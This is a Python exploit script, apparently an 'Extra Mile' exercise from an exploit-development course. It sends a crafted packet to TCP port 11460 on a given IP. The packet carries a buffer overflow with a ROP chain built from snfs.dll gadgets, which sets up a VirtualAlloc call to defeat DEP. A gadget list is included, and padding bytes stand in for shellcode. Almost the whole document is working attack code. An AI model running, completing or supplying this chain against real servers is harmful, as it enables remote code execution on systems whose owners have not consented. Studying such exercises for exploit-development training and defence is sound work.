Extra Mile 9_4_1_1

import socket
import sys
from struct import pack

# psAgentCommand
buf = bytearray([0x41]*0xC)
buf += pack("<i", 0x534)  # opcode
buf += pack("<i", 0x0)    # 1st memcpy: offset
buf += pack("<i", 0x500)  # 1st memcpy: size field
buf += pack("<i", 0x0)    # 2nd memcpy: offset
buf += pack("<i", 0x100)  # 2nd memcpy: size field
buf += pack("<i", 0x0)    # 3rd memcpy: offset
buf += pack("<i", 0x100)  # 3rd memcpy: size field
buf += bytearray([0x41]*0x8)

# psCommandBuffer
offset = b"A" * 276 

#ROP
#BB = 00 09 0a 0b 0c 0d 20
'''
GADGETS:
Write:
	0x1001526c  # mov dword ptr [eax], ecx; ret; 
	0x10021d7c  # mov dword ptr [eax], edx; ret;  :: snfs.dll
	0x10017bbe  # mov dword ptr [ecx], eax; ret;  :: snfs.dll                                                    
    0x10021c99  # mov dword ptr [ecx], edx; ret; 

Read:
	0x10015fee  # mov eax, dword ptr [eax]; ret;
	

Pop:
	0x10012ca5  # pop eax; ret;
	0x10010199  # pop ecx; ret;
	0x10010103  # pop ebp; ret; 

Add:
	0x1002259d  # add eax, ebp; ret 2;
	0x10012ef2  # add ecx, edx; add eax, ecx; pop esi; ret
	0x100243be  # add ecx, 0x02; mov [esi], ecx; pop esi; ret
	0x100152a7  # add eax, 0x0C; ret 
	
Push:
	0x100237d1  # push eax; ret;  :: snfs.dll                                                                    
    0x1001e4a6  # push esp; ret;  :: snfs.dll
	0x100113dd  # push esp; sub eax, 0x20; pop ebx; ret; 
	0x10020ff4  # push edx; sar esi, 0xff; pop ecx; ret; 

Mov:
	0x10023798  # mov eax, ecx; ret 4;
	0x10015636  # xchg eax, esp; ret; 
	0x100189f2  # mov eax, edx; ret; 
	0x1001b9bd  # mov eax, ebx; pop edi; pop ebx; ret 
	0x10024554  # mov edx, ebx; pop edi; pop ebx; pop esi; ret; 

Xor:



'''

'''
Target Stack Layout:

va  += pack("<L", (0x41414141)) # dummy VirutalAlloc Address 
va += pack("<L", (0x46464646)) # Shellcode Return Address 
va += pack("<L", (0x47474747)) # # dummy Shellcode Address 
va += pack("<L", (0x48484848)) # dummy dwSize  
va += pack("<L", (0x49494949)) # # dummy flAllocationType  
va += pack("<L", (0x51515151)) # dummy flProtect  

'''
#ecx -> esp :
#rop += pack("<L", ())
rop = pack("<L", (0x100113dd)) # push esp; sub eax, 0x20; pop ebx; ret;		ebx -> esp
rop += pack("<L", (0x10024554))  # mov edx, ebx; pop edi; pop ebx; pop esi; ret;		edx -> esp
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x10020ff4))  # push edx; sar esi, 0xff; pop ecx; ret; ecx -> esp

#ecx + 0x00 -> VA
rop += pack("<L", (0x10012ca5)) #pop eax 									eax -> IAT 
rop += pack("<L", (0x100252e0)) #0x100252e0 == IAT VirtualAlloc
rop += pack("<L", (0x10015fee)) #deref eax eax -> VA
rop += pack("<L", (0x10017bbe))  # mov dword ptr [ecx], eax; ret;

#ecx + 0x04 -> eax -> ecx + arbitrary offset for shellcode addr
#pad starts at ecx + 3c
rop += pack("<L", (0x10017caf))  # xor edx, edx; mov eax, esi; pop esi; pop ebx; ret 0x10; 
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x10020322))  # inc edx; add al, 0; xor eax, eax; ret; 
rop += pack("<L", (0x41414141)) #junk for ret 0x10
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x10020322))  # inc edx; add al, 0; xor eax, eax; ret; 
rop += pack("<L", (0x10020322))  # inc edx; add al, 0; xor eax, eax; ret; 
rop += pack("<L", (0x10020322))  # inc edx; add al, 0; xor eax, eax; ret; edx == 0x04
rop += pack("<L", (0x10012ca5))  # pop eax; ret;  :: snfs.dll
#UPDATE w/ offset for shellcode
rop += pack("<L", (0xfffffefc)) # value that is negated
rop += pack("<L", (0x10023779))  # neg eax; ret 4;  :: snfs.dll 
rop += pack("<L", (0x10012ef2))# add ecx, edx; add eax, ecx; pop esi; ret ecx += 0x04 eax == ecx + 0x3c
rop += pack("<L", (0x41414141)) #junk for ret 4
rop += pack("<L", (0x41414141)) #junk
rop += pack("<L", (0x10017bbe))  # mov dword ptr [ecx], eax; ret; 

#ecx + 0x04 -> eax 
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x10017bbe))  # mov dword ptr [ecx], eax; ret;  :: snfs.dll 

#ecx + 0x04 -> 0x01
rop += pack("<L", (0x10012ca5))  # pop eax; ret;  :: snfs.dll
rop += pack("<L", (0xffffffff)) # -1 value that is negated
rop += pack("<L", (0x10023779))  # neg eax; ret 4;  :: snfs.dll  
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x41414141)) #junk for ret 4
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x10017bbe))  # mov dword ptr [ecx], eax; ret;  :: snfs.dll 

#ecx + 0x04 -> 0x1000
rop += pack("<L", (0x10012ca5))  # pop eax; ret;  :: snfs.dll
rop += pack("<L", (0xffffefff)) # -1001  
rop += pack("<L", (0x10011b04))  # inc eax; ret;  :: snfs.dll -1000 
rop += pack("<L", (0x10023779))  # neg eax; ret 4;  :: snfs.dll  
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x41414141)) #junk for ret 4
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x10017bbe))  # mov dword ptr [ecx], eax; ret;  :: snfs.dll 

#ecx + 0x04 -> 0x80
rop += pack("<L", (0x10012ca5))  # pop eax; ret;  :: snfs.dll
rop += pack("<L", (0xffffffc0)) # -40
rop += pack("<L", (0x10023779))  # neg eax; ret 4;  :: snfs.dll  
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x41414141)) #junk for ret 4
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x100150fa))  # inc ecx; clc; mov edx, dword ptr [ecx - 4]; ret;
rop += pack("<L", (0x10017bbe))  # mov dword ptr [ecx], eax; ret;  :: snfs.dll 

#esp -> ecx - 0x18 ret  
rop += pack("<L", (0x10023798))  # mov eax, ecx; ret 4;  :: snfs.dll 
rop += pack("<L", (0x100113de))  # sub eax, 0x20; pop ebx; ret 
rop += pack("<L", (0x41414141)) #junk for ret 4
rop += pack("<L", (0x41414141)) #junk 
rop += pack("<L", (0x100152a7))  # add eax, 0x0C; ret 
rop += pack("<L", (0x10015636))  # xchg eax, esp; ret;  :: snfs.dll 



#PAD
pad = b"C" * (0x400 - 276 - len(rop)) 














formatString = b"File: %s From: %d To: %d ChunkLoc: %d FileLoc: %d" % (offset+rop+pad,0,0,0,0)
buf += formatString

# Checksum
buf = pack(">i", len(buf)-4) + buf

def main():
	if len(sys.argv) != 2:
		print("Usage: %s <ip_address>\n" % (sys.argv[0]))
		sys.exit(1)
	
	server = sys.argv[1]
	port = 11460

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((server, port))

	s.send(buf)
	s.close()

	print("[+] Packet sent")
	sys.exit(0)


if __name__ == "__main__":
 	main()

Last updated

Was this helpful?